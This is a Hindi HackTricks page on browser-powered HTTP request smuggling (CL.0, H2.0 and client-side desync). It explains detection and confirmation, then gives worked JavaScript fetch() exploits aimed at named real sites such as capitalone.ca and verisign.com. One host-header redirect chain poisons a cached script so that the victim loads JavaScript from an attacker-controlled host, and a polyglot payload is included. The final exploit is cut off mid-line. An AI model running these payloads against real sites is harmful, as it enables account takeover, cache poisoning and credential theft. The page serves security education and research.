# Browser HTTP Request Smuggling
AWS हैकिंग सीखें शून्य से लेकर हीरो तकhtARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर हमें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) **का अनुसरण करें**।
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
## CL.0/H2.0 browser-compatible desync
यह भेद्यता तब होती है जब **Content Length** (CL) हेडर को **backend server** द्वारा पूरी तरह से **अनदेखा** किया जाता है। फिर, बैक-एंड **body** को दूसरे अनुरोध के **method की शुरुआत** के रूप में मानता है। CL को अनदेखा करना इसे 0 के मान के रूप में मानने के बराबर है, इसलिए यह एक CL.0 desync है - एक [ज्ञात](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) लेकिन कम अन्वेषित हमले की श्रेणी।
![](<../../.gitbook/assets/image (3) (1) (2).png>)
हमला संभव था क्योंकि बैक-एंड सर्वर बस **POST अनुरोध की अपेक्षा नहीं कर रहा था**।
{% hint style="warning" %}
ध्यान दें कि यह भेद्यता एक पूरी तरह से **वैध**, विनिर्देश-अनुरूप **HTTP अनुरोध** द्वारा **ट्रिगर** की जा रही है। इसका मतलब है कि **front-end के पास इसके खिलाफ सुरक्षा करने का कोई मौका नहीं है**, और यह एक ब्राउज़र द्वारा भी ट्रिगर किया जा सकता है।
{% endhint %}
**CL.0** और **H2.0** के बीच का एकमात्र **अंतर** यह है कि दूसरा **HTTP2** का उपयोग कर रहा है (जिसमें एक निहित content-length हेडर है) लेकिन **backend उसका भी उपयोग नहीं कर रहा है**।
## Client-Side Desync
पारंपरिक desync हमले **कनेक्शन को जहरीला** बनाते हैं जो कि **front-end और back-end** सर्वर के बीच होता है, और इसलिए वे उन वेबसाइटों पर असंभव हैं जो front-end/back-end आर्किटेक्चर का उपयोग नहीं करते हैं। ये अब से **server-side desync** हैं। अधिकांश **server-side desyncs** केवल एक **कस्टम HTTP क्लाइंट द्वारा एक दोषपूर्ण अनुरोध जारी करके ट्रिगर किए जा सकते हैं।**
एक **ब्राउज़र द्वारा desync का कारण बनने की क्षमता** एक नई धमकी की श्रेणी को सक्षम बनाती है जिसे **client-side desync** (CSD) कहा जाता है।\
CSD हमला इसके साथ शुरू होता है कि **पीड़ित हमलावर की वेबसाइट पर जाता है**, जो फिर उनके ब्राउज़र को **दो क्रॉस-डोमेन अनुरोध भेजने के लिए बनाता है जो कि भेद्य वेबसाइट पर होते हैं**। **पहला** अनुरोध इस तरह से तैयार किया जाता है कि वह **ब्राउज़र के कनेक्शन को desync कर दे** और **दूसरा अनुरोध** एक हानिकारक प्रतिक्रिया को ट्रिगर करे, जो आमतौर पर हमलावर को पीड़ित के खाते का नियंत्रण देता है।
### Detect
CSD वेक्टर एक HTTP अनुरोध है जिसमें **दो** **मुख्य** गुण होते हैं।
पहला, **सर्वर को अनुरोध के Content-Length (CL)** को अनदेखा करना चाहिए। यह आमतौर पर इसलिए होता है क्योंकि अनुरोध ने या तो **सर्वर त्रुटि को ट्रिगर किया**, या सर्वर बस **चुने गए एंडपॉइंट पर POST अनुरोध की अपेक्षा नहीं कर रहा था**। **स्थिर फाइलों** और **सर्वर-स्तरीय रीडायरेक्ट्स** को लक्षित करने का प्रयास करें, और **अत्यधिक-लंबे-URLs** के माध्यम से, और **अर्ध-दोषपूर्ण** वाले जैसे /%2e%2e के माध्यम से त्रुटियों को ट्रिगर करें।
दूसरा, अनुरोध को **वेब-ब्राउज़र क्रॉस-डोमेन में ट्रिगर किया जा सकना चाहिए**। ब्राउज़र क्रॉस-डोमेन अनुरोधों पर नियंत्रण को काफी प्रतिबंधित करते हैं, इसलिए आपके पास हेडर्स पर सीमित नियंत्रण होता है, और यदि आपके अनुरोध में एक बॉडी है तो आपको HTTP POST मेथड का उपयोग करना होगा। अंततः आप केवल **URL** पर ही **नियंत्रण** रखते हैं, प्लस कुछ अन्य चीजें जैसे कि **Referer हेडर**, **बॉडी**, और **Content-Type का बाद का हिस्सा।**
#### CL ignore testing
इस मिसकॉन्फिग को टेस्ट करने का तरीका यह है कि **दो अनुरोध भेजें और बीच में एक को smuggle करें**। यदि **smuggled** कनेक्शन ने **दूसरे** **अनुरोध** की प्रतिक्रिया को **प्रभावित किया**, इसका मतलब है कि यह **भेद्य** है:
![](<../../.gitbook/assets/image (1) (2) (2) (1).png>)
{% hint style="warning" %}
ध्यान दें कि आप इस भेद्यता का परीक्षण केवल भेजे गए एक से **बड़े Content-Length** को भेजकर और **टाइमआउट की तलाश में** नहीं कर सकते क्योंकि कुछ सर्वर **पूरी बॉडी प्राप्त नहीं होने पर भी प्रतिक्रिया देते हैं**।
{% endhint %}
यह जानना महत्वपूर्ण है कि क्या **लक्ष्य वेबसाइट HTTP**/2 का समर्थन करती है। CSD हमले आमतौर पर HTTP/1.1 कनेक्शन पुन: उपयोग का शोषण करते हैं और वेब **ब्राउज़र्स HTTP/2 का उपयोग करना पसंद करते हैं** जब भी संभव हो, इसलिए यदि लक्ष्य **वेबसाइट HTTP/2 का समर्थन करती है तो आपके हमले काम करने की संभावना कम है**। एक **अपवाद** है; कुछ **forward proxies HTTP/2 का समर्थन नहीं करते** हैं इसलिए आप उनका उपयोग करने वाले किसी का शोषण कर सकते हैं। इसमें कॉर्पोरेट प्रॉक्सी, कुछ घुसपैठी VPN और यहां तक कि कुछ सुरक्षा उपकरण भी शामिल हैं।
### Confirm
सबसे पहले, एक साइट का चयन करें जहां से हमला शुरू करना है। इस साइट को **HTTPS के माध्यम से एक्सेस किया जाना चाहिए** और यह **लक्ष्य डोमेन से अलग होना चाहिए**।
अगला, सुनिश्चित करें कि आपने कोई प्रॉक्सी कॉन्फ़िगर नहीं की है, फिर अपनी हमला साइट पर ब्राउज़ करें। **डेवलपर टूल्स** ख
```javascript
fetch('https://example.com/', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://example.com/' // use the poisoned connection
})
```
### शोषण - स्टोर
एक विकल्प यह है कि लक्ष्य साइट पर ऐसी कार्यक्षमता की पहचान करें जो आपको **पाठ डेटा स्टोर** करने देती है, और प्रीफिक्स को इस तरह से तैयार करें कि आपके पीड़ित के कुकीज़, प्रमाणीकरण हेडर्स, या पासवर्ड **कहीं संग्रहित हो जाएं जहां आप उन्हें पुनः प्राप्त कर सकें**। यह हमला प्रवाह [लगभग सर्वर-साइड अनुरोध शोषण के समान ही काम करता है](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), इसलिए मैं इस पर अधिक ध्यान नहीं दूंगा।
### शोषण - **चेन\&पिवट**
सामान्य परिस्थितियों में, कई प्रकार के **सर्वर-साइड हमले** केवल उस हमलावर द्वारा शुरू किए जा सकते हैं जिसकी सीधी पहुंच लक्ष्य वेबसाइट पर होती है क्योंकि वे **HTTP अनुरोधों पर निर्भर करते हैं जिन्हें ब्राउज़र भेजने से इनकार करते हैं**, जैसे कि **HTTP हेडर्स में छेड़छाड़** - वेब कैश पॉइज़निंग, अधिकांश सर्वर-साइड अनुरोध शोषण, होस्ट-हेडर हमले, यूज़र-एजेंट आधारित [SQLi](https://portswigger.net/web-security/sql-injection), CSRF JSON Content-type और अन्य कई।
सफल हमले के लिए सबसे सरल मार्ग दो मुख्य तकनीकों से आया जो आमतौर पर सर्वर-साइड डिसिंक हमलों के लिए उपयोग की जाती हैं: [**जावास्क्रिप्ट संसाधन विषाक्तता होस्ट-हेडर रीडायरेक्ट्स के माध्यम से**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), और [**HEAD मेथड**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) का उपयोग करके हानिकारक HTML के साथ एक प्रतिक्रिया को जोड़ना। दोनों तकनीकों को **अनुकूलित** करने की आवश्यकता थी ताकि कुछ नई चुनौतियों का सामना किया जा सके जो **पीड़ित के ब्राउज़र** में संचालन से जुड़ी हुई थीं।
## शोषण उदाहरण
### स्टैक्ड HEAD उदाहरण
* **रंगीन शोषण**
![](<../../.gitbook/assets/image (2) (3).png>)
* **JS शोषण**
```javascript
fetch('https://www.capitalone.ca/assets', {
method: 'POST',
// use a cache-buster to delay the response
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x= HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
location = 'https://www.capitalone.ca/'
})va
```
व्याख्या:
* **CL.0 का दुरुपयोग** /assets में (यह /assets/ की ओर रीडायरेक्ट करता है और CL की जांच नहीं करता)
* **HEAD** अनुरोध को **Smuggle** करें (क्योंकि HEAD प्रतिक्रियाएँ अभी भी एक content-length समाविष्ट करती हैं)
* **GET** अनुरोध को **Smuggle** करें जिसका **सामग्री** प्रतिक्रिया में पेलोड के साथ **प्रतिबिंबित** होने वाला है।
* HEAD अनुरोध के **content-length** के कारण, इस अनुरोध की **प्रतिक्रिया** HEAD अनुरोध के **शरीर** होगी
* **cors mode** सेट करें। सामान्यतः यह नहीं किया जाता है, लेकिन इस मामले में सर्वर की **प्रारंभिक** **POST** की प्रतिक्रिया एक **रीडायरेक्ट** है जिसे अगर **अनुसरण** किया जाए तो **exploit काम नहीं करेगा**। इसलिए, **cors mode** का उपयोग एक **त्रुटि** को **ट्रिगर** करने और **`catch`** के साथ पीड़ित को **रीडायरेक्ट** करने के लिए किया जाता है।
### **Host header redirect + client-side cache poisoning**
* **JS exploit**
```javascript
fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
```
* `/+webvpn+/` पर **अलग डोमेन के साथ Host हेडर** में एक अनुरोध का जवाब **रीडायरेक्ट** के साथ दिया जाता है `/+webvpn+/index.html` उसी **डोमेन** के लिए जो Host हेडर में है।
* **दूसरे** अनुरोध में स्थान को `/+CSCOE+/win.js` पर सेट किया जाता है ताकि उस `.js` फाइल के **कैश** को **जहरीला** बनाया जा सके।
* इस अनुरोध का जवाब `/+webvpn+/` के रीडायरेक्ट के साथ दिया जाएगा जो हमलावर के डोमेन के साथ पथ `/+webvpn+/index.html` पर होगा।
* **`win.js`** का **कैश** एक **रीडायरेक्ट** के साथ **जहरीला** हो जाएगा जो **हमलावर** के पेज पर होगा, लेकिन **पीड़ित** भी `location` वेरिएबल में निर्धारित के अनुसार रीडायरेक्ट का **पालन** करेगा और हमलावर के वेब पेज पर समाप्त होगा।
* हमलावर फिर **पीड़ित** को `https://redacted/+CSCOE+/logon.html` पर **रीडायरेक्ट** करेगा। यह पेज `/+CSCOE+/win.js` को इम्पोर्ट करेगा। जिसका **कैश एक रीडायरेक्ट** है **हमलावर** के सर्वर पर, इसलिए, हमलावर **दुर्भावनापूर्ण JS के साथ जवाब दे सकता है**।
**पीड़ित** हमलावर के पेज को **दो बार एक्सेस** करेगा, पहली बार यह **HTML की उम्मीद करता है** जो पीड़ित को वापस `https://redacted/+CSCOE+/logon.html` पर रीडायरेक्ट करता है और दूसरी बार यह **जावास्क्रिप्ट कोड की उम्मीद करता है** (पेलोड)। एक पॉलीग्लॉट का उपयोग करके दोनों प्रतिक्रियाओं को केवल एक में सेवा की जा सकती है:
```
HTTP/1.1 200 OK
Content-Type: text/html
alert('oh dear')/**/
```
### HEAD पेलोड चंक्ड TE के साथ
CSD की तलाश में आप **आंशिक रूप से विकृत** URLs जैसे `/..%2f` या `/%2f` का भी **परीक्षण कर सकते हैं**।
* **रंगीन एक्सप्लॉइट**
![](<../../.gitbook/assets/image (5) (2) (1).png>)
* **JS एक्सप्लॉइट**
```javascript
fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /